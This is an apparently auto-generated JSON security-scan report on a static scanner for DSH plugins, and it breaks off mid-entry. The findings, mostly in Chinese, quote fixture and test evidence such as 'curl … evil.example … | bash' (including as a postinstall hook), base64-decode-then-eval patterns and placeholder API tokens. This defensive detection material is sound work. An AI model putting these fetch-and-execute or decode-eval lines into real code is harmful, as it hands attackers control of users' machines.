{"schemaVersion":2,"dataVersion":"20260822T105549Z-0a0b366f","generatedAt":"2026-08-22T10:55:49.138Z","source":{"id":"eligahyu-dsh-sentinel-scanner","slug":"eligahyu-dsh-sentinel-scanner","rank":525,"url":"https://github.com/Eligahyu/dsh-sentinel-scanner","name":"Eligahyu/dsh-sentinel-scanner","category":"security","description":{"zh":"DSH 插件安全扫描器：只读静态审计（执行、凭据、外传、混淆、安装脚本、bundle 清单），输出 0-100 风险分。","en":"Static security scanner for DSH plugins: read-only audit (exec, credentials, exfiltration, obfuscation, install scripts, bundle manifest) with a 0-100 risk score."},"stars":5,"starsCheckedAt":"2026-08-21","repository":{"owner":"Eligahyu","repo":"dsh-sentinel-scanner","requestedRef":null,"subpath":""},"npm":null,"downloads":null,"installMode":"github-source","upstreamInstall":"dsh plugin --profile web add github:Eligahyu/dsh-sentinel-scanner","tarball":null,"added":"2026-08-20","page":"https://awesome-dsh-plugin.com/p/Eligahyu/dsh-sentinel-scanner/","screenshots":[],"discovery":{"provider":"awesome-dsh-plugin","channel":"plugins.json","indexUrl":"https://github.com/awesome-dsh-plugin/awesome-dsh-plugin","selection":"all curated entries"}},"report":{"sourceId":"eligahyu-dsh-sentinel-scanner","slug":"eligahyu-dsh-sentinel-scanner","policyVersion":"HT-DSH-0.2.2","scannedAt":"2026-08-22T08:25:48.487Z","scanStatus":"static-complete","verdict":"pass","score":99,"commit":"3211c3e991f2105fc2ccf49a459604af2835d7db","commitDate":"2026-08-21T12:55:42+08:00","artifactDigest":"sha256:346952ee5c2e92ea6a6d2ccc55c9584833fff50faa0a001cf3df1c30dd4d4a3c","downloadUrl":"https://github.com/Eligahyu/dsh-sentinel-scanner/archive/3211c3e991f2105fc2ccf49a459604af2835d7db.tar.gz","installMode":"github-source","installCommand":"dsh plugin --profile web add github:Eligahyu/dsh-sentinel-scanner","manifest":{"found":true,"path":"package.json","parseError":null,"packageName":"deepseek-harness-sentinel","packageVersion":"0.4.3","bundle":{"patch":"./cordis.patch.yml"},"client":null,"lifecycleScripts":{},"peerDependencies":["@deepseek-ai/cordis","@deepseek-ai/dsh-tools"]},"identity":{"status":"found","installMode":"github-source","upstreamNpm":null,"manifestName":"deepseek-harness-sentinel","nameMatch":null,"npm":{"name":"deepseek-harness-sentinel","latestVersion":"0.4.3","publishedAt":"2026-08-20T04:10:44.965Z","createdAt":"2026-08-19T01:27:53.610Z","versionCount":8,"maintainers":1,"repository":null,"hasInstallScripts":false,"deprecated":false},"repositoryMatch":"missing","provenance":"none","tarballHost":null,"versionMatch":"match"},"permissions":{"bundlePatch":"cordis.patch.yml","inserts":[{"id":"sentinel","name":"deepseek-harness-sentinel/plugin","path":"cordis.patch.yml","disabled":false}],"overrides":[],"jsExpressions":0,"clientPlatform":null,"parseErrors":[]},"capabilities":["credentials","environment","filesystem","host-bundle","mcp","network","subprocess"],"outboundHosts":[{"host":"json.schemastore.org","count":1},{"host":"api.osv.dev","count":1},{"host":"dsh-sentinel.invalid","count":1}],"findings":[{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"docs/example-report.json","pathClass":"test-example-docs","line":93,"evidence":"curl -s http://evil.example/install.sh | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"更像是展示给用户的安装提示字符串，而非程序自行执行；位于测试、示例或文档目录","hash":"abe3863515479bc715b0ce10"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"docs/example-report.json","pathClass":"test-example-docs","line":205,"evidence":"curl -s http://evil.example/x.sh | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命中位置附近存在子进程调用；位于测试、示例或文档目录","hash":"da0c9ea95683163c7e0e6af9"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/package/acquire.js","pathClass":"source","line":9,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"d82853416d4beefa272f6fe4"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/package/acquire.js","pathClass":"source","line":9,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"495ec4b2976b2e8daf6b5523"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/package/tarball.js","pathClass":"source","line":11,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"bbf2ea34652bff1f41c7410d"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/package/tarball.js","pathClass":"source","line":11,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"a06214d32f19e7c472926680"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"critical","confidence":"low","layer":"static","path":"engine/report.js","pathClass":"source","line":66,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"动态执行与编码解码出现在同一语句，是典型的载荷隐藏模式","hash":"1cf09b41b4cc478ec8abc1f4","review":{"verdict":"placeholder","reason":"report.js:66 是代码注释中的举例文字“例:eval(atob(...))”，用于说明重叠抑制逻辑，并非真实存在的 eval 调用。","model":"sonnet","reviewedAt":"2026-08-21T10:57:24.595Z"}},{"id":"HT-OBFUSCATION-001","title":"源码呈现混淆或载荷隐藏特征","severity":"high","confidence":"low","layer":"static","path":"engine/report.js","pathClass":"source","line":66,"evidence":"atob(...)) 同时命中 SEN-EXEC-004(解码执行,具体)与 SEN-EXEC-003(裸 eval","remediation":"以可读源码分发；若必须打包，请同时提供可复现构建与 source map。","note":"解码后直接进入执行","hash":"6f0e3845f8199ad111c4e573","review":{"verdict":"placeholder","reason":"同一行 66 属于注释说明文本，仅作为规则示例出现，不会被解释器执行。","model":"sonnet","reviewedAt":"2026-08-21T10:57:24.595Z"}},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/rules.js","pathClass":"source","line":77,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"5f1b5db41cd78e673794796b"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/rules.js","pathClass":"source","line":77,"evidence":"execSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"898945a7844fdd9658b64394"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"engine/rules.js","pathClass":"source","line":376,"evidence":"curl/wget/网络地址/base64/chmod 等,典型形状是 curl … | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"更像是展示给用户的安装提示字符串，而非程序自行执行","hash":"ccb7b6112ac5b6fb4b168742"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"engine/rules.js","pathClass":"source","line":142,"evidence":"new Function(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"出现在字符串或注释中","hash":"fc48bbe5b41e8a9cbd71751b"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"engine/rules.js","pathClass":"source","line":142,"evidence":"new Function(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"出现在字符串或注释中","hash":"fc48bbe5b41e8a9cbd71751b"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/scanner.js","pathClass":"source","line":579,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"86f69c0d694d9872f0d7fad9"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/semantic/ast.js","pathClass":"source","line":101,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"bb9240bb2c4ad1234d383560"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/semantic/ast.js","pathClass":"source","line":103,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"bb9240bb2c4ad1234d383560"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/semantic/cross-file-taint.js","pathClass":"source","line":14,"evidence":"execSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"7dc8ab91b44de16d4421f7b0"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/semantic/cross-file-taint.js","pathClass":"source","line":14,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"fc7c69c7426733dc043e3120"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/semantic/harness.js","pathClass":"source","line":187,"evidence":"execSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"33ac59deaff5360abb16173f"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/semantic/harness.js","pathClass":"source","line":187,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"e302c508d05c092958e7f56d"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/semantic/index.js","pathClass":"source","line":38,"evidence":"execSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"d25963a6982092994774f1ff"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/semantic/index.js","pathClass":"source","line":38,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"4fc2462c8c217ce1f868e90d"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/semantic/taint.js","pathClass":"source","line":16,"evidence":"execSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"b9eb56d4fddb5d65ff0a1902"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/semantic/taint.js","pathClass":"source","line":16,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"665e26eb32c764d6113c68dd"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/supplychain/osv.js","pathClass":"source","line":10,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"da887b87478c1f669330787a"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"engine/supplychain/osv.js","pathClass":"source","line":10,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"8553d0c45b278a53da7e5615"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/fetch-corpus-npm.mjs","pathClass":"source","line":11,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"da70aefb67d87e9c5f344a5b"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/fetch-corpus-npm.mjs","pathClass":"source","line":11,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"6ae1950c588e8760428b302c"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/fetch-corpus.mjs","pathClass":"source","line":17,"evidence":"spawnSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"820cc5ce84d38ed81206ea4f"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/fetch-corpus.mjs","pathClass":"source","line":17,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"0a505c3a2d900d9edfede6ef"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"medium","confidence":"low","layer":"static","path":"test/cross-file-taint.test.js","pathClass":"test-example-docs","line":17,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"命令由运行时变量拼接，需确认输入来源是否可信；位于测试、示例或文档目录","hash":"7d77897833107035baea913b"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/bench/edge/edge-assignment.js","pathClass":"test-example-docs","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"8125658d138d99b950fb9103"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"test/fixtures/bench/edge/edge-db-exec.js","pathClass":"test-example-docs","line":6,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"位于测试、示例或文档目录","hash":"462ae454c335005383b435fd"},{"id":"HT-OBFUSCATION-001","title":"源码呈现混淆或载荷隐藏特征","severity":"high","confidence":"low","layer":"static","path":"test/fixtures/bench/edge/edge-db-exec.js","pathClass":"test-example-docs","line":5,"evidence":"Buffer.from(args.data, 'base64').toString() eval","remediation":"以可读源码分发；若必须打包，请同时提供可复现构建与 source map。","note":"解码后直接进入执行；位于测试、示例或文档目录","hash":"1247e7cbf99af4b84aed13c8"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/bench/edge/edge-destructure.js","pathClass":"test-example-docs","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"9a02b0ca318231fc201686ad"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/bench/edge/edge-object-property.js","pathClass":"test-example-docs","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"ff3309b01708ef77a6f330ae"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/bench/edge/edge-spawn-safe-argv.js","pathClass":"test-example-docs","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"2b3f2663f247c29e4b17d3e7"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/bench/edge/edge-spawn-shell.js","pathClass":"test-example-docs","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"4bbb5c446317ea3860247150"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/bench/edge/edge-trusted-comment-bypass.js","pathClass":"test-example-docs","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"93518efd9ccc8e7dbf3429d3"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/bench/edge/edge-ts-tool.ts","pathClass":"test-example-docs","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"7ec5df7eb6b78b9758382783"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/bench/evasions/ev1-alias.js","pathClass":"test-example-docs","line":1,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"d4ae14b5d6015b11748a83dc"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/bench/evasions/ev2-computed-prop.js","pathClass":"test-example-docs","line":1,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"d67fd041a6d553d423a1e720"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/bench/evasions/ev3-optional-chain.js","pathClass":"test-example-docs","line":1,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"495e961a5d537829c782e18d"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/bench/malicious/pos1-tool-shell.js","pathClass":"test-example-docs","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"a0ed432443beea80f2a30404"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"critical","confidence":"low","layer":"static","path":"test/fixtures/bench/malicious/pos2-eval-atob.js","pathClass":"test-example-docs","line":2,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"动态执行与编码解码出现在同一语句，是典型的载荷隐藏模式；位于测试、示例或文档目录","hash":"af79e37913236b7fe8020372"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"test/fixtures/bench/malicious/pos6-decode-exec.js","pathClass":"test-example-docs","line":2,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"位于测试、示例或文档目录","hash":"920bdb3acf793d023b88a838"},{"id":"HT-OBFUSCATION-001","title":"源码呈现混淆或载荷隐藏特征","severity":"high","confidence":"low","layer":"static","path":"test/fixtures/bench/malicious/pos6-decode-exec.js","pathClass":"test-example-docs","line":1,"evidence":"Buffer.from(payload, 'base64').toString() eval","remediation":"以可读源码分发；若必须打包，请同时提供可复现构建与 source map。","note":"解码后直接进入执行；位于测试、示例或文档目录","hash":"0b7aad49cc0918dc41cf1451"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/bench/malicious/pos7-cross-function.js","pathClass":"test-example-docs","line":1,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"317b0e67113daaf681e05527"},{"id":"HT-INSTALL-001","title":"安装阶段执行高风险生命周期脚本","severity":"high","confidence":"low","layer":"supply-chain","path":"test/fixtures/evil-plugin/package.json","pathClass":"test-example-docs","line":12,"evidence":"\"postinstall\": \"curl -s http://evil.example/install.sh | bash\"","remediation":"移除安装期执行，或提供可复现构建产物并将脚本降为显式命令。","note":"位于测试、示例或文档目录","hash":"dbeee2afbb1e2c01c3522f4d"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/fixtures/evil-plugin/package.json","pathClass":"test-example-docs","line":12,"evidence":"curl -s http://evil.example/install.sh | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"53d67ade6abf723081fc4634"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/evil-plugin/plugin/index.js","pathClass":"test-example-docs","line":7,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"4325d7f41827e90cbd40fa06"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/fixtures/evil-plugin/plugin/index.js","pathClass":"test-example-docs","line":27,"evidence":"execSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"75c44edc89b844e9c7f6828f"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/fixtures/evil-plugin/plugin/index.js","pathClass":"test-example-docs","line":24,"evidence":"curl -s http://evil.example/x.sh | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命中位置附近存在子进程调用；位于测试、示例或文档目录","hash":"18e8e92c80231755aa99f212"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"test/fixtures/evil-plugin/plugin/index.js","pathClass":"test-example-docs","line":18,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"出现在字符串或注释中；位于测试、示例或文档目录","hash":"8a45dd8252fc1dfdd8abbdd3"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"critical","confidence":"low","layer":"static","path":"test/fixtures/evil-plugin/plugin/index.js","pathClass":"test-example-docs","line":20,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"动态执行与编码解码出现在同一语句，是典型的载荷隐藏模式；位于测试、示例或文档目录","hash":"8a45dd8252fc1dfdd8abbdd3"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/hardening.test.js","pathClass":"test-example-docs","line":9,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"1e1b0cb9b340b914dce2e0b9"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/hardening.test.js","pathClass":"test-example-docs","line":9,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"904d074d4c776dc061e79872"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"test/hardening.test.js","pathClass":"test-example-docs","line":591,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"位于测试、示例或文档目录","hash":"9064dfac1e91924082de1c73"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"test/hardening.test.js","pathClass":"test-example-docs","line":827,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"出现在字符串或注释中；位于测试、示例或文档目录","hash":"9064dfac1e91924082de1c73"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"critical","confidence":"low","layer":"static","path":"test/plugin-load.test.js","pathClass":"test-example-docs","line":83,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"动态执行与编码解码出现在同一语句，是典型的载荷隐藏模式；位于测试、示例或文档目录","hash":"ea18103f2e8237ee43274e66"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/professional.test.js","pathClass":"test-example-docs","line":194,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"235155b155e7a8304159dcd4"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/professional.test.js","pathClass":"test-example-docs","line":226,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"556fdbb5468d9dbc05fb0f75"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/professional.test.js","pathClass":"test-example-docs","line":516,"evidence":"curl evil | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"3da7001776d3d3c90e2b9843"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/professional.test.js","pathClass":"test-example-docs","line":672,"evidence":"curl http://evil.example/x | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命中位置附近存在子进程调用；位于测试、示例或文档目录","hash":"ea2a5fad527d7550321daf30"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"critical","confidence":"low","layer":"static","path":"test/professional.test.js","pathClass":"test-example-docs","line":84,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"动态执行与编码解码出现在同一语句，是典型的载荷隐藏模式；位于测试、示例或文档目录","hash":"3621f904355e6af79e8a646f"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"test/professional.test.js","pathClass":"test-example-docs","line":309,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"位于测试、示例或文档目录","hash":"3621f904355e6af79e8a646f"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"test/professional.test.js","pathClass":"test-example-docs","line":167,"evidence":"sk-proj-ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"127ad642e627f116a309cc4e"},{"id":"HT-SECRET-001","title":"疑似硬编码凭据","severity":"critical","confidence":"low","layer":"static","path":"test/professional.test.js","pathClass":"test-example-docs","line":183,"evidence":"ghp_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij","remediation":"立即吊销凭据，并改用 DSH credentials 服务或环境引用。","note":"包含占位/示例词汇；位于测试、示例或文档目录","hash":"2854c3ea0aad0e7e380c70d9"},{"id":"HT-OBFUSCATION-001","title":"源码呈现混淆或载荷隐藏特征","severity":"high","confidence":"low","layer":"static","path":"test/professional.test.js","pathClass":"test-example-docs","line":308,"evidence":"Buffer.from(payload, 'base64').toString() eval","remediation":"以可读源码分发；若必须打包，请同时提供可复现构建与 source map。","note":"解码后直接进入执行；位于测试、示例或文档目录","hash":"cb893ac85fe2f9faf10b2020"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/scan.test.js","pathClass":"test-example-docs","line":229,"evidence":"execSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"1df411513e0e3cff31410075"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"low","layer":"static","path":"test/scan.test.js","pathClass":"test-example-docs","line":266,"evidence":"child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","note":"位于测试、示例或文档目录","hash":"3c47569442d90b434d2b5a6e"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/scan.test.js","pathClass":"test-example-docs","line":57,"evidence":"curl | bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"42bb165b10e28c8da489e926"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"test/scan.test.js","pathClass":"test-example-docs","line":66,"evidence":"curl|bash","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"d50b48a042481e32ac38e649"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"critical","confidence":"low","layer":"static","path":"test/scan.test.js","pathClass":"test-example-docs","line":59,"evidence":"eval(","remediation":"使用静态模块和受约束的配置解析器，避免在宿主权限下执行动态字符串。","note":"动态执行与编码解码出现在同一语句，是典型的载荷隐藏模式；位于测试、示例或文档目录","hash":"fb93b33eacc5074bb26990db"},{"id":"HT-RUNTIME-001","title":"动态代码执行","severity":"high","confidence":"low","layer":"static","path":"test/scan.test.js","pathClass":"test-example-docs","line":375,"evidence":"new 